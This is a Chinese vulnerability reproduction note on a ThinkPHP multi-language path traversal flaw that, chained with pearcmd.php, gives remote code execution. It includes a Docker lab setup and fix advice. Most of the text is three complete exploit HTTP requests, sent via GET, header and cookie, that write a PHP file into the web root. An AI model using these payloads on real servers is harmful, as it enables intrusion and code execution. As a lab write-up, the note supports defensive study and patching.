若Thinkphp 程序开启了多语言功能,则可通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
1.多语言开启
2.安装了pear扩展
3.知道pearcmd.php路径
register_argc_argv=on
header="think_lang"
开启靶机环境
docker run -it -d -p 80:80 vulfocus/thinkphp:6.0.12
Get:
GET /public/?index.php+config-create+&lang=../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/4.php HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
(6.0未成功,5.0成功)
Header:
GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/1.php HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Cookie:
GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/3.php HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie:think_lang=../../../../../../../../usr/local/lib/php/pearcmd
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
http://tttang.com/archive/1865/
1、若无必要,可关闭多语言功能,可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42,建议升级至安全版本。
https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099